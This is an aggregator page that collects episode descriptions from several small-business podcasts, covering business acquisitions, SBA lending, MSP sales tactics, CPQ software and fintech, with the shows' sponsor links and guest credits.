Podcasts about SMB

Brian Seeling sought a blue-collar business with a good manager in place. He found exactly that — with $2.6m in revenue.Register for the webinar: Tactical EQ to Win Over Sellers and Brokers - TODAY! - https://bit.ly/46MlUhCTopics in Brian's interview:Being an entrepreneurial kidMoving from IT to blue-collarGetting value from SMBootcamp“Riches are in the niches”Satisfaction of developing peopleNot all SBA lending is the same“Billionaires do business with billionaires”Tactfully bringing about changeContinuing the commission-based compensation modelReplacing old tech in the businessReferences and how to contact Brian:LinkedInPGM ServiceWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

What happens when you've built multiple companies, lost control, got burned by partners, and then finally get it right? Patrick Dillon has done it all. He's built several digital agencies, and even a janitorial company. He's taken on investors, lost equity, made painful pivots, and come out the other side with a lean, wildly profitable agency. Today, his company, WISE Digital, is scaling steadily without the risk of it all collapsing from one bad client, partner, or decision. In this episode, we break down how Pat used AI to scale without bloat, what really went wrong with his first three ventures, and why he'll never niche down again. We also get into the recruiting system that saved him thousands of hours, the legal dispute ChatGPT helped him settle, and how to avoid toxic positivity while building something that actually lasts. If you're in agency life, you'll feel this one. Listen in and find out what it really takes to build a growth engine you actually want to run.  — This episode is part of the 8FE (8-figure entrepreneur) series, where we talk to entrepreneurs who have already passed the million-dollar mark.  — Key Takeaways: 00:00:00 Intro 00:01:53 Undervalued marketing tactics  00:04:24 Unusual AI use cases  00:08:03 Patrick's entrepreneurial journey  00:18:38 Interacting with investors  00:21:29 When to pull the plug  00:27:57 Transition to WISE Digital  00:37:43 Focusing on SMB  00:40:02 Growing the business through AI  00:51:57 SEO strategies and the impact of AI  00:58:58 Advice for aspiring entrepreneurs  01:01:21 Outro — Additional Resources:

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In this episode of Next in Media, Mike Shields sits down with Michael Komasinski, CEO of Criteo, to unpack how one of ad tech's best-known companies has reinvented itself for a privacy-first world. Once synonymous with retargeting, Criteo has successfully evolved into a powerhouse in retail media, supporting more than 230 retailers and $160 billion in GMV.Michael shares how the company's early investments in addressability technology and diversification under Megan Clarkin laid the foundation for long-term resilience. He also discusses the industry's next big shifts from the end of “easy money” in retail media to the rise of agentic workflows, AI-powered ad optimization, and Criteo's surprising new partnership with Google. Key Highlights:

Nick Keegan owned a struggling software business doing just €1m/yr until an acquisition put it on the path to 9 figures.Register for the webinars: How PACT Simplifies Investor Deals Using SBA - TOMORROW! - https://bit.ly/42jGpB2Tactical EQ to Win Over Sellers and Brokers - Thu Oct 9th - https://bit.ly/48wqcMPTopics in Nick's interview:10 years in the Irish Defense ForcesHis app idea that ultimately failedPivoting his failed business into Mail MetricsSuccessfully competing against larger print companies7 years of slow growthAcquiring 2 large companies simultaneouslyHiring a tutor to teach him basic financeBuying one business in Ireland and one in the UKBorrowing at a very high interest rateIncreasing revenue by $12m in one yearReferences and how to contact Nick:LinkedInMail MetricsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

SummaryIn this week's episode of Startup Junkies, hosts Daniel Koonce and Caleb Talley sit down for an engaging conversation with Daniel Schroeder and Brent Reader, co-founders of Peanut Pupper, a startup helping anxious dogs with their CBD products. The conversation explores how Peanut Pupper began, what sets it apart, and how its founders are committed to more than just business success. There's an underlying message of using entrepreneurship as a platform to make a positive difference, which comes through clearly as the hosts and guests discuss the journey and vision behind the brand. From the origins of the idea to creating a responsible, community-focused company, listeners get an inside look at what it takes to build something with heart and intention.Beyond Peanut Pupper, the discussion digs into broader themes like the importance of giving back, finding meaning in work, and overcoming challenges with creativity and resilience. There are honest conversations about what it means to push through setbacks, the balance between profit and purpose, and how authentic values can become a brand's strongest asset.Whether you're a pet lover, budding entrepreneur, or simply curious about how purpose-driven companies operate, this episode delivers both inspiration and practical insights. Tune in for a fresh perspective on business and a deeper appreciation for brands like Peanut Pupper that aim to make the world a little better!Show Notes(00:00) Introduction(03:30) The Inspiration Behind Peanut Pupper's CBD Products(09:24) THC-Free CBD: Safety and Effectiveness(15:59) Happy Pup Customer Testimonials(17:34) Impact of Markets on Dog Adoptions and Health(23:29) Arkansas Legislation Targets Loophole Marijuana(31:22) Exploring the Relationship Dynamic Between Co-Founders(40:35) Embracing Mentorship and Avoiding Solitude(42:12) NWA's Regional Support and Community Spirit(45:22) Closing ThoughtsLinksDaniel KoonceCaleb TalleyStartup JunkieStartup Junkie YouTubeDaniel SchroederBrent ReaderPeanut Pupper

Why you should listenRob Fegan shares the exact 4-phase framework he used to transform his Microsoft partner business from zero to millions in annual revenue—and how SMB partners can replicate this success even as "small fish" in a 30,000-person sales ecosystem.Learn how to leverage Microsoft's Commerce Incentives Fund to access thousands in funded engagements per customer, essentially getting Microsoft to pay you to deploy their solutions while you focus on high-margin services.Discover why connecting with AI specialists (not just AEs) is the key to unlocking Microsoft's FY26 priorities, and how to position your messaging so Microsoft's field teams become your biggest sales asset instead of just another vendor relationship.You're running a solid Microsoft partner business, delivering real results for clients, but you feel completely invisible to Microsoft's massive sales organization. You watch bigger partners effortlessly access pipeline opportunities, co-sell motions, and vendor support while you're stuck fighting for scraps. You know the opportunity is there—Microsoft has 30,000 salespeople who could be feeding you qualified leads—but you have no idea how to cut through the noise when you're just a 1-10 person shop.In this episode, I sit down with Rob Fegan from RYZE Partners who spent 15 years building and scaling Microsoft partner businesses before a successful exit. Rob breaks down his proven 4-phase framework that turns Microsoft's field teams into your biggest sales asset, even as a small partner. We dive into the four critical areas most partners get wrong, why SMB partners are suddenly Microsoft's top priority after years of enterprise focus, and the specific funded programs that can inject thousands of dollars per engagement into your business. If you're tired of being stuck, overlooked, and sidelined while bigger partners dominate the conversation, this episode gives you the exact playbook to change that.About Rob FeganRob Fegan is the founder of Venvito and co-founder of RYZE Partners, where he helps Microsoft SMB partners go from invisible to in-demand. After 15+ years in the Microsoft ecosystem, Rob built his own Microsoft practice from zero to millions in annual revenue before a successful exit. Now he's on a mission to help 10,000 Microsoft partners escape what he calls "SOS Mode" - being Stuck, Overlooked, and Sidelined - through his proven frameworks for demystifying selling WITH Microsoft. Rob's approach has helped partners transform from vendor status to becoming Microsoft's go-to referral sources, turning field teams into their biggest sales asset.Resources and LinksRyze-partners.comVenvito.netRob's LinkedIn profilePrevious episode: 639 - How to Stop ChatGPT from Lying to You (AI PhD Reveals the Fix) with Garima AgrawalCheck out more episodes of the Paul Higgins PodcastSubscribe to our YouTube channel: @PaulHigginsMentoringJoin our newsletterSuggested...

Discover why most MSP deals are actually won or lost during the discovery phase, not at the close! In this video, I break down how to engineer your discovery process to address objections before they even come up. I'll show you how to plant the seeds early by asking strategic questions that uncover pain points, buying motivations, urgency levels, and decision-making processes - then use their own words as your most powerful rebuttals later. Instead of scrambling to overcome predictable objections like "it's too expensive" or "we're not ready yet" at the end, you'll learn to reverse-engineer these concerns into discovery questions that make closing feel natural and almost anticlimactic. I'll walk you through my proven 4-step process to transform your discovery from a technical fact-finding mission into the real close of your deal//Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

Onu Okebie and Brian Boland wanted to retain 100% ownership when they began, so they used an SBA loan. It has paid off.Register for the webinars: The ABCs of Franchise M&A: Deal Sourcing, Diligence, and Integration - TODAY! -  https://bit.ly/481yThOHow PACT Simplifies Investor Deals Using SBA - Tue Oct 7th - https://bit.ly/48FjAvqTopics in Brian and Onu's interview:Forming a partnership in business schoolSearching for 2.5 yearsClosing on their first business while still in schoolBootstrapping their first acquisitionSacrifice and long commute the first yearWillingness to “be bad at something”Complexity of niche/time-sensitive freightAthletic grit carried them through acquisition challengesLearning to pitch to investors5 acquisitions in less than 5 yearsReferences and how to contact Brian and Onu:Brian LinkedInOnu LinkedInHTL FreightWebinar: Use an SBA Loan to Start a Roll-UpDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

Aizik Zimerman bought a home services business to build a consumer brand into his life's work. It seems to be working. Register for the webinar: The ABCs of Franchise M&A: Deal Sourcing, Diligence, and Integration - Thu Oct 2nd -  https://bit.ly/46E2uv8Topics in Aizik's interview:There is endless opportunity in home servicesHis goal of $1 billion in revenueAdvantage of his youthful energyGoing all-in on digital advertisingSmall business = big problemsFounder Mode theoryOrganic growth over acquisitionsYour must earn your right to diversifyWinning on Google with reviewsHiring overseas for auditing and marketingReferences and how to contact Aizik:LinkedInJohn Wilson on Acquiring Minds: Buying Small, Growing Big: From $1m to $26mGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

SummaryIn this week's episode of Startup Junkies, hosts Daniel Koonce and Jeff Amerine are joined by Yulia Batalina and Paolo Piraino, co-founders of adwinesor, a company offering curated wine experiences in NWA. With a shared passion for innovation and problem-solving, Paolo and Yulia have positioned adwinesor as a promising player in the intelligent advertising space.During the conversation, Paolo and Yulia unpacked the origins of adwinesor and the need they identified for smarter, more personalized advertising solutions. They shared how their diverse backgrounds, Paolo's hands-on business experience and Yulia's strong research foundation have empowered them to tackle industry challenges from multiple angles.A key highlight from the episode was their discussion of company culture and adaptability. Both founders emphasized the importance of agility, not just in their product but in their team's mindset. By encouraging experimentation and embracing feedback, they continue to refine adwinesor's offerings and keep pace with the fast-evolving advertising landscape.The episode is an inspiring listen for anyone following the startup ecosystem or seeking insight into launching a tech company. Paolo and Yulia's honesty about the ups and downs of entrepreneurship, paired with their clear vision for adwinesor, makes this episode particularly memorable!Show Notes(00:00) Introduction(03:59) From Italian Roots to a Global Journey(08:42) Bridging the Wine Knowledge Gap(11:01) adwinesor's Curated Wine Experiences(13:27) Demystifying the Wine Industry(19:22) Expanding NWA's Access to Wine(22:06) “Edwin's Ears Clean” Wine Concept(24:40) Bentonville's First Boutique Wine Shop(28:00) Encouraging Sensory Experiences(32:35) The Emergence of Alcohol-Free Italian Wines(35:37) Why Your Dreams Should Scare You(36:41) Closing ThoughtsLinksDaniel KoonceJeff AmerineStartup JunkieStartup Junkie YouTubeYulia BatalinaPaolo Pirainoadwinesor

In this CPQ Podcast episode, host Frank Sohn speaks with Tarak Patel, Sr. Vice President of Product and Technology at Aleran Software, about how Aleran is bringing sustainable innovation to Configure, Price, Quote (CPQ) and digital commerce. Aleran's Connected Commerce platform is designed for mid-size manufacturers ($20M–$1B) and their channel partners. Built on headless, API-first, cloud-native architecture, the platform integrates with leading ERP systems(SAP, Epicor, Microsoft Dynamics, Infor, Acumatica and more) and CRM solutions (Salesforce, SugarCRM). It also offers native eCommerce, pre-built connectors, Avalara tax, payment gateways, and shipping integrations—helping companies move beyond spreadsheets and home-grown tools. Tarak explains how Aleran supports CTO and ETO products, with a feature- and rules-based configuration engine, plus AI-driven guided selling and automated product content generation. With low-code/no-code flexibility and an average 2-month implementation, manufacturers can achieve fast ROI. Beyond technology, Tarak shares insights on trust-based leadership, Aleran's rapid growth, and how his philosophy of “sustainable innovation” drives both the company and his personal life—including golfing with his two teenage sons.

I reveal the shocking truth about why most MSP deals actually fail - and it's not what you think. After listening to countless sales calls, I've discovered that deals don't die because of timing, price, or contract issues.They fail because sales reps never actually ask for the sale! I know it sounds crazy, but I'm going to prove exactly how this happens and show you the simple techniques I use to avoid getting ghosted by prospects. I'll walk you through my proven closing strategies, including the exact questions that force prospects to reveal their real objections so you can address them on the spot instead of hoping they'll magically say yes later. If you're tired of deals getting stuck in "we'll think about it" purgatory, this video will change how you close forever//Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

James Bohannon of family office Belzberg & Co. explains the FO world and its untapped potential for searchers & sponsors.Topics in James's interview:What is a family office?Family office capital sustains private marketsYou may wear jeans, but there are tradeoffsPrivate, insular nature of family officesHow to network with family officesWhen it makes sense to exit to a family officeLong-term holds are a good fitPlaying defense and offense within family officesFamily offices do not need to raise capitalFamily offices may be friendlier to smaller dealsReferences and how to contact James:LinkedInGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

Brett and Naveen break down how GenX escapees can use AI to work faster, earn more, and de-risk the leap from corporate. You'll learn where AI actually helps (and where it doesn't), how to turn your experience into simple, repeatable, AI-enabled services, and why singles (small wins) beat swinging for enterprise home runs when you're solo. Think: micro-SaaS, productized services, and month-to-month offers that business owners can say “yes” to quickly.Key TakeawaysGenX Advantage: We've lived analog → digital → internet → mobile. We know how to train people—now we train AI. We also know when outputs are “off.”AI as Fractional Workforce: Treat AI like your on-demand researcher, analyst, designer, scheduler, and SDR. One subscription, many “roles.”Start with Singles: Stop chasing six-figure whales out of the gate. Package $1–5K/month services that solve one need deeply, repeat it across clients.Outcome > Hours: Price the result (clean CRM, personalized outreach engine, faster proposals), not your time. AI compresses hours into minutes—that's the point.Productize the Process: Turn your workflow into a mini system: inputs → AI-assisted steps → valuable output. Reuse 80%, customize 20%.Risk Wins Deals: Month-to-month + clear ROI beats open-ended fractional promises for most SMBs.Practical Use Cases We Cover • Lead gen & personalized outreach at scale • CRM cleanup & contact enrichment • Proposal/slide creation (e.g., Gamma) • Research & meeting prep “briefings” • Contract review & red-flag summaries • Agents & light automations (only after nailing the manual workflow)Simple Monetization Paths (Examples)$2–5K/mo: “Done-for-you” outbound engine (200 targeted emails, replies routed, CRM updated).$1–3K flat: CRM cleanup + enrichment + basic dashboard.$1–2K/mo: Founder research briefs + talk tracks before key meetings.$3–8K setup + $1–3K/mo: Build a lightweight, repeatable micro-SaaS/workflow (pricing, content kits, hiring screens) for a niche.Timestamps • 00:00 Intro & why AI is a GenX superpower • 03:30 From big-corp AI to solo/SMB impact • 06:10 Training people vs. training AI (and knowing “good”) • 11:20 AI as your fractional team: practical tools & roles • 16:45 Thought partner use case (Brett's real examples) • 23:30 Singles over home runs: structure simple wins • 29:45 Value pricing when AI compresses your time • 34:20 Risk, ROI, and easy “yes” offers for SMBs • 38:45 Partnering to productize (stack skills → stack revenue) • 42:50 Action plan & where to find NaveenMemorable Lines • “AI is the great equalizer—your fractional workforce in one subscription.” • “Don't sell AI—sell a solved problem that AI helps deliver.” • “GenX knows what ‘good' looks like. That's the edge 20-somethings can't fake.”Resources Mentioned • Explained Consulting: explained.consulting • Gamma for slide/proposal generation

Register for the webinar: Liquidity Options for Search Investors - Wed Sep 24th - https://bit.ly/48lptOcJack Saville was asked if owning a small business was underutilizing his talents. The question prompted a big decision.Topics in Jack and Sam's interview:Jack's motivation to own something and take a riskYou are always buying a jobLinking up with Sam Rosati through SMBootcampBuying a business far from his familyRealizing that he didn't want to operate a lifestyle businessDifficulties of growing in a tourist townSelling the business to Perimeter Solutions GroupJoining the leadership of Perimeter Solutions GroupContinuously question your whyGetting in the game unlocks opportunitiesReferences and how to contact Jack and Sam:Sam Rosati LinkedInJack Saville LinkedInPerimeter Solutions GroupSam Rosati on Acquiring Minds: How to Shorten Your Search: Big 3, Little 2Sarah Chiles and Matthew Ferguson on Acquiring Minds: Geography as Moat: Building a Hometown HoldcoGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on Twitter

In this episode, I chat with Amanda Goodall, a workforce intelligence analyst who spots restructuring signals months before they hit the headlines. We dig into how AI is quietly eating back-office work. We also cover warehouse robots and humanoids on the horizon, and practical job-hunt tactics to become the obvious hire. If you're trying to navigate layoffs, automation, or a tougher job market with clear signal over noise, this one's for you. ––– Support My Work ––– Paypal: https://www.paypal.biz/BitcoinMatrixStrike/Bitcoin: BitcoinMatrix@strike.meCash App: https://cash.app/$BitcoinMatrixVenmo: https://venmo.com/u/bitcoinmatrixPO Box: The Bitcoin Matrix, P.O. Box 18056, Sarasota, FL 34231 ––– Offers & Discounts ––– Theya is the world's simplest Bitcoin self-custody solution. Download Theya Now at theya.us/cedric Get up to $100 in Bitcoin on River at river.com/matrix The best Team Bitcoin merch is at HodlersOfficial.com. Use the code Matrix for a discount on your order. Become a sponsor of the show: https://thebitcoinmatrix.com/sponsors/ ––– Get To Know Today's Guest ––– • Amanda Goodall on X: https://x.com/thejobchick ––– Socials ––– • Check out our new website at https://TheBitcoinMatrix.Com • Follow Cedric Youngelman on X: https://x.com/cedyoungelman • Follow The Bitcoin Matrix Podcast on X: https://x.com/_bitcoinmatrix • Follow Cedric Youngelman on Nostr: npub12tq9jxmt707gd5vnce3tqllpm67ktr0mqskcvy58qqa4d074pz9s4ukdcs ––– Chapters ––– 00:00 - Intro 01:10 - Who Amanda Goodall is & why her signals matter 02:42 - Macro workforce picture: margins over headcount 04:05 - Offshoring surge despite steady headcount 06:04 - Outsourcing giants (TCS, Accenture) & vendor logic 09:08 - Job search now: LinkedIn/Indeed and becoming the obvious choice 11:52 - Ghost postings & earnings-call optics 13:33 - AI in finance: AP/AR automation & SMB pitfalls 15:18 - Morale, burnout & the new loyalty math 19:08 - Pay, bonuses, relocation and rising financial stress 28:35 - RTO mandates, desk shortages & the CRE pivot 34:53 - Warehouses, robots & humanoids: what's real, what's next 54:06 - How layoffs are executed today 1:06:11 - Closing Thoughts I want to take a moment to express my heartfelt gratitude to all of you for tuning in, supporting the show, and contributing. Thank you for listening! The information in all The Bitcoin Matrix Podcast episodes and content is based on hypothetical assumptions and is intended for illustrative purposes only. PAST PERFORMANCE DOES NOT GUARANTEE FUTURE RESULTS. This video is provided for entertainment purposes only. The information contained herein represents temporary, changing views and subjective impressions and opinions regarding the inherently uncertain and unpredictable issues discussed. The reader, user, and/or viewer must not assume that these contents are accurate, complete, timely, or up to date. Market conditions change rapidly and unpredictably. Nothing herein should be interpreted as any kind of offer, solicitation, commitment, promise, warranty, or guarantee whatsoever relating to any of the contents of these videos. DISCLAIMER: INFORMATION PROVIDED BY THE BITCOIN MATRIX PODCAST IS PROVIDED “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND FREEDOM FROM INFRINGEMENT. The viewer of this video assumes the entire risk of any acting on any information contained herein. No representation is made that any regulatory authority has passed on the merits, adequacy or accuracy of this information. The viewer assumes all liability.

SummaryIn this week's episode of Startup Junkies, host Caleb Talley and Grace Gill are joined by Permjot Valia, co-founder of Nava Develop Inc., who offers listeners a masterclass in entrepreneurship and investment. Permjot, known for his keen business acumen and international venture capital experience, shares his unique perspectives on what it takes to build successful companies and thrive in today's fast-paced business landscape.Throughout the conversation, Permjot discusses the importance of adaptability for founders, referencing real-world challenges that startups often face. He emphasizes that resilient entrepreneurs are those who not only adapt quickly but also learn from setbacks, turning failure into an opportunity for growth.Caleb and Grace steer the conversation into practical territory, asking Permjot how aspiring founders can attract the attention of investors. Permjot highlights the need for clarity by having a strong pitch and a clear understanding of your business model and target market.Listeners will appreciate the actionable advice sprinkled throughout the episode, as well as Permjot's candid reflections on the delicate balance between passion and pragmatism in entrepreneurship. Whether you're an early-stage founder or just curious about what makes startups succeed, this episode offers valuable lessons and an inspiring look behind the scenes of venture capital!Show Notes(00:00) Introduction(03:41) Cultural Differences in Business Pitches(09:05) Redefining Strategy with New Terms(13:19) How Bentonville Is a Gateway to Global Opportunities(16:06) Scaling Success Through Talent Pools(22:26) Business Model Transition Challenges(27:01) Reflecting on Self-Identity(28:29) Closing ThoughtsLinksCaleb TalleyGrace GillStartup JunkieStartup Junkie YouTubeFuel AcceleratorPermjot ValiaNava Develop Inc.

Welcome to our new miniseries, Vertical SaaS: Fintech Disruption by a Thousand Cuts, sponsored by our friends at Pipe. This six-part miniseries explores how Vertical SaaS (vSaaS) platforms are becoming the operating systems for every industry. They're experiencing tremendous growth because they solve the challenges unique to SMB owners. Increasingly, those challenges are met by embedding financial products and services directly into the workflows SMBs rely on every day. In each episode, hosts Alex Johnson and Luke Voiles sit down with a vSaaS executive to unpack their journey — how they defined strategy, chose partners, launched products, and scaled responsibly. In Episode 1, Alex kicks things off with Luke himself.  From credit investing to building small business lending at Intuit and Square (and to his current role as CEO of Pipe), Luke shares his journey and explains why vertical SaaS is *the* perfect channel for embedded finance: trusted software brands delivering capital at the exact point of need…which makes capital feel like part of the workflow instead of an interruption.  Don't miss the kickoff, and subscribe now to catch future episodes and insights! Thanks for listening!  This episode was brought to you by Pipe. Pipe helps vertical SaaS platforms unlock fast, flexible capital, right inside their product. Learn more at https://pipe.com/fintechtakes Sign up for Alex's Fintech Takes newsletter for the latest insightful analysis on fintech trends, along with a heaping pile of pop culture references and copious footnotes. Every Monday and Thursday: https://workweek.com/brand/fintech-takes/ And for more exclusive insider content, don't forget to check out my YouTube page. Follow Alex:  YouTube: https://www.youtube.com/channel/UCJgfH47QEwbQmkQlz1V9rQA/videos LinkedIn: https://www.linkedin.com/in/alexhjohnson Twitter: https://www.twitter.com/AlexH_Johnson Follow Luke: https://www.linkedin.com/in/luke-voiles/ Learn more about Pipe at https://pipe.com/fintechtakes

In this episode of the CPQ Podcast, host Frank Sohn sits down with Matthias Radner of Resolto, a Festo company, to discuss his journey from face-to-face mattress sales to enterprise CPQ software. Matthias shares how early lessons in customer interaction shaped his approach to selling Configure, Price, Quote solutions, and why patience is key in long sales cycles—like when a customer signed an offer he created four years earlier. Listeners will hear about Resolto's Configon CPQ platform, designed for both SMB plug-and-play deployments (with average implementation times of just four weeks) and enterprise-level projects worth €400K–€500K. Matthias explains the importance of CAD integration via Cadenas, their unique use of Google Blockly-style rule building, and how Resolto works closely with parent company Festo to shape its roadmap, including upcoming AI-driven innovations. Beyond technology, Matthias opens up about his personal passions—from competing in international hip hop dance championships to playing tennis for relaxation today. The conversation also explores Resolto's growing footprint across DACH, Italy, the Netherlands, the US, and Japan, and why industries like machine engineering and electrical devices are key focus areas. If you're interested in visual product configurators, CAD-driven CPQ solutions, and strategies for simplifying complex product sales, this episode offers valuable insights into the evolving world of CPQ.

I analyze a case study of a $7 million MSP owner whose close rates were declining despite having good reps and processes. What I discovered during our audit was that they had one rep who was phenomenal at opening deals through LinkedIn prospecting and another who was excellent at closing, but both were trying to handle the entire sales cycle from lead generation to account management. //Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

Register for the webinars: Liquidity Options for Search Investors - Wed Sep 24th - https://bit.ly/41WmQymEmployee Issues & Non-Competes When Buying a Business - TODAY!- https://bit.ly/4nrvvkDMark Anderegg built the largest private daycare business in New England. He loved the model so much he's doing it again. Topics in Mark's interview:Raising a search fund himselfBeing the “world's worst searcher”Acquiring a 16-location childcare networkPressure of running an essential businessThe unsolved staffing conundrumScreening for cultureUnderestimating the cost of new locationsEarning a high-integrity reputationGrowing through acquisitionSelling the business twiceReferences and how to contact Mark:LinkedInLittle SproutsA.J. WassersteinDavid M. DodsonLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

In this Grownlearn episode, Sal Rehmetullah (co-founder of Stax Payments and now Worth) breaks down how he and his sister Suneera scaled Stax to 500 employees and $200M ARR, sold it for $1B, and then turned their attention to the broken world of small-business credit. We dig into Worth's AI-powered underwriting plus onboarding stack, why they don't touch fund flows, and how they're partnering across global data sources so banks and lenders can understand real-time business risk—think “Credit Karma for business,” but built for enterprise adoption first. Sal also gets candid about purpose post-exit, minority-led entrepreneurship, the $25M seed led by TTV Capital, and what SMB owners can do today to become more lendable. About the guest: Sal Rehmetullah is the co-founder of Stax Payments (one of the first minority-led fintech unicorns) and co-founder of Worth, which is rebuilding the financial infrastructure for SMBs with real-time compliance, onboarding, and underwriting. --------------------------------------------------------------------------------------------------------------------------------------------- GrowNLearn, led by Zorina Dimitrova, connects select VCs, Family Offices, and Strategic Investors with precisely matched, high-growth ventures across Europe and the U.S. We also support founders with strategic growth advisory—helping you transform your business model, increase valuation, and prepare for investment or exit.

What does it really take to scale a SaaS from a tiny Barcelona startup to a global leader protecting brands like major clubs and top electronics companies? In this candid conversation, Laura Urquizu (CEO, Red Points) shares hard-won lessons on going from SMB to enterprise, hiring fast in NYC (and fixing the fallout), balancing long-term strategy with short-term execution, and why the best CEOs become “irrelevant” day-to-day as teams outperform.We dive into go-to-market, NRR as the north star, fundraising mistakes after a big round, building in the U.S. from Europe, and the AI behind Red Points (95% automated detection, 30M checks/day). If you're a founder, operator, or investor, this one's a masterclass in scaling under permanent uncertainty.Support the show

Register for the webinar: Employee Issues & Non-Competes When Buying a Business - Thu Sep 18th - https://bit.ly/4mbU9EIJerod Pierce bought an HVAC business with $500k of SDE. Five years later, private equity was desperate to buy him out.Topics in Jerod's interview:Challenging upbringing in foster careAdaptability as a survival skillJoining the investment club in collegeGetting his MBA from Harvard Business SchoolLearning about ETA from Rick and RoyceSearching only in Seattle by cold callingBuying HVAC before it was coolValue of being there every dayExiting for $90 million-ishHis nightmare second acquisitionReferences and how to contact Jerod:LinkedInOlympic Holdings InvestmentsWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

